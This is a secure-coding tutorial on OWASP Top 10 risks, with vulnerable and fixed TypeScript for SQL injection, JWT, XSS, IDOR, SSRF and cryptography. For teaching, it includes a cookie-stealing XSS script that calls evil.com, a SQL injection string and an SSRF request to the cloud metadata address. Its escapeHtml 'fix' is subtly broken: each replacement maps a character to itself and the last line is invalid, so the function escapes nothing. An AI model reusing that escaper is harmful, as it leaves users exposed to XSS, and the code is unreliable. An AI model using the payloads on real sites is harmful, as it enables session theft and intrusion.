Why Every Engineer Must Understand Security

Security is not the security team's job — it is every engineer's job. The OWASP Top 10 is the most widely used reference for web application security risks, maintained by the Open Web Application Security Project. This guide covers the most critical vulnerabilities with real code examples showing the vulnerable version and the correct fix, so you can recognize and prevent them in your own code.

1. Injection (SQL, Command, LDAP)

Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query. SQL injection remains one of the most exploited vulnerabilities despite being one of the oldest known.

// VULNERABLE — string concatenation in SQL query
async function getUser(username: string) {
  const query = `SELECT * FROM users WHERE username = '${username}'`
  return db.query(query)
}
// Attacker input: ' OR '1'='1
// Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1'
// Returns ALL users in the database

// SECURE — parameterized query (the only correct fix)
async function getUser(username: string) {
  return db.query('SELECT * FROM users WHERE username = $1', [username])
  // $1 is a parameter placeholder — the driver handles escaping correctly
}

// With an ORM (Prisma, Drizzle) — parameters are automatic
const user = await prisma.users.findFirst({ where: { username } })
// Prisma always uses parameterized queries; no injection possible

Never use string concatenation or template literals to build SQL queries with user input. Parameterized queries are the complete solution — there is no other acceptable approach.

2. Broken Authentication

JWT (JSON Web Tokens) are widely used but have several security pitfalls:

// VULNERABLE — "none" algorithm attack
// An attacker can modify a JWT's payload and set alg: "none"
// to bypass signature verification on some libraries

// VULNERABLE — verifying with wrong key type
import jwt from 'jsonwebtoken'
// Never verify with a public key when you signed with a symmetric secret
// Never trust the "alg" field from the token header — specify it explicitly

// SECURE — always specify the algorithm explicitly
const payload = jwt.verify(token, process.env.JWT_SECRET!, {
  algorithms: ['HS256'],  // Explicit allowlist — rejects tokens with alg: "none"
})

// SECURE — store JWTs in HttpOnly cookies, not localStorage
// localStorage is accessible to JavaScript (XSS can steal it)
// HttpOnly cookies cannot be accessed by JavaScript at all
res.cookie('access_token', token, {
  httpOnly: true,      // Not accessible via document.cookie
  secure: true,        // HTTPS only
  sameSite: 'strict',  // CSRF protection
  maxAge: 3600 * 1000, // 1 hour in milliseconds
})

// SECURE — password hashing with bcrypt (never MD5 or SHA-256 for passwords)
import bcrypt from 'bcrypt'
const SALT_ROUNDS = 12  // Higher = slower = more brute-force resistant

async function hashPassword(plaintext: string): Promise<string> {
  return bcrypt.hash(plaintext, SALT_ROUNDS)
}
async function verifyPassword(plaintext: string, hash: string): Promise<boolean> {
  return bcrypt.compare(plaintext, hash)
}

3. XSS (Cross-Site Scripting)

XSS occurs when an attacker injects malicious scripts into web pages viewed by other users. There are three types: stored (persisted to DB), reflected (in URL parameters), and DOM-based (via client-side JavaScript).

// VULNERABLE — raw HTML injection
function renderComment(comment: string) {
  return `<div class="comment">${comment}</div>`
  // If comment = '<script>document.location="https://evil.com?c="+document.cookie</script>'
  // The script executes in every user's browser — cookie theft, session hijacking
}

// SECURE — escape HTML entities
function escapeHtml(str: string): string {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '<')
    .replace(/>/g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''')
}

// In React — JSX escapes by default (this is safe):
function Comment({ text }: { text: string }) {
  return <div className="comment">{text}</div>  // Escaped automatically
}

// DANGEROUS in React — dangerouslySetInnerHTML bypasses escaping:
function Comment({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />  // 🚨 Only use with sanitized HTML
}
// If you must render user HTML, sanitize it with DOMPurify first:
import DOMPurify from 'dompurify'
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userHtml) }} />

// Content Security Policy header — defense in depth
// Even if XSS bypasses escaping, CSP prevents script execution
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

4. Insecure Direct Object Reference (IDOR)

IDOR occurs when an application uses user-controllable input to access objects directly without verifying authorization. This is the most common logic-layer vulnerability.

// VULNERABLE — no ownership check
app.get('/api/documents/:id', async (req, res) => {
  const doc = await db.documents.findOne({ id: req.params.id })
  // User can change ?id=123 to ?id=456 and read any document
  res.json(doc)
})

// SECURE — always scope queries to the authenticated user
app.get('/api/documents/:id', requireAuth, async (req, res) => {
  const doc = await db.documents.findOne({
    id: req.params.id,
    userId: req.user.id,  // ← Scope to current user
  })
  if (!doc) return res.status(404).json({ error: 'Not found' })
  // Returns 404 whether the document doesn't exist OR belongs to another user
  // Do NOT return 403 — that leaks the existence of the resource
  res.json(doc)
})

5. Security Misconfiguration

Security misconfiguration is the most widespread vulnerability category — it includes default credentials, overly verbose error messages, unnecessary features enabled, and missing security headers.

// Security headers — add to every HTTP response
// In Next.js (next.config.js):
const securityHeaders = [
  { key: 'X-Frame-Options', value: 'DENY' },                    // Prevent clickjacking
  { key: 'X-Content-Type-Options', value: 'nosniff' },          // Prevent MIME sniffing
  { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
  { key: 'Permissions-Policy', value: 'camera=(), microphone=()' },
  {
    key: 'Strict-Transport-Security',
    value: 'max-age=63072000; includeSubDomains; preload'        // HSTS — HTTPS only
  },
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self' 'unsafe-inline'; ..."
  },
]

// NEVER expose stack traces to clients
app.use((err, req, res, next) => {
  console.error(err)  // Log the full error server-side
  res.status(500).json({
    error: 'Internal server error',  // Generic message — no stack trace
    requestId: req.id,               // Reference ID for support
  })
})

6. Vulnerable and Outdated Components

# Audit npm dependencies for known CVEs
npm audit

# Fix automatically where possible (patch and minor updates only — safer)
npm audit fix

# For critical vulnerabilities, check the advisory
npm audit --audit-level=critical

# Use automated tools in CI: GitHub Dependabot, Snyk, or socket.dev
# These auto-create PRs for vulnerable dependency updates

7. SSRF (Server-Side Request Forgery)

SSRF occurs when an attacker can make your server issue HTTP requests to internal services. Often used to access AWS metadata endpoints, internal databases, or services behind a firewall.

// VULNERABLE — fetch any URL the user provides
app.post('/api/fetch-preview', async (req, res) => {
  const { url } = req.body
  const response = await fetch(url)  // Attacker sends: http://169.254.169.254/latest/meta-data/
  res.json(await response.json())    // Returns AWS instance metadata including credentials!
})

// SECURE — allowlist approach
import { URL } from 'url'

const ALLOWED_HOSTS = ['api.example.com', 'assets.cdn.com']

function isAllowedUrl(urlString: string): boolean {
  try {
    const url = new URL(urlString)
    // Only allow HTTPS on allowlisted hosts
    return url.protocol === 'https:' && ALLOWED_HOSTS.includes(url.hostname)
  } catch {
    return false
  }
}

app.post('/api/fetch-preview', async (req, res) => {
  const { url } = req.body
  if (!isAllowedUrl(url)) return res.status(400).json({ error: 'URL not allowed' })
  const response = await fetch(url)
  res.json(await response.json())
})

8. Cryptographic Failures

// WRONG — using MD5 or SHA-1 for password storage (fast, reversible via rainbow tables)
const hash = crypto.createHash('md5').update(password).digest('hex')  // 🚨 Never for passwords

// WRONG — using a predictable "secret" for JWT signing
const token = jwt.sign(payload, 'mysecret')  // 🚨 Too short, not random

// CORRECT — use bcrypt/argon2 for passwords, crypto.randomBytes for secrets
import crypto from 'crypto'
// Generate a cryptographically secure 256-bit secret
const jwtSecret = crypto.randomBytes(32).toString('hex')
// Store this in your environment variables

// Encrypt sensitive data at rest (beyond just hashing)
import { createCipheriv, createDecipheriv, randomBytes } from 'crypto'
const ALGORITHM = 'aes-256-gcm'

function encrypt(text: string, key: Buffer): { iv: string; ciphertext: string; tag: string } {
  const iv = randomBytes(16)
  const cipher = createCipheriv(ALGORITHM, key, iv)
  const ciphertext = Buffer.concat([cipher.update(text, 'utf8'), cipher.final()])
  return {
    iv: iv.toString('hex'),
    ciphertext: ciphertext.toString('hex'),
    tag: cipher.getAuthTag().toString('hex'),
  }
}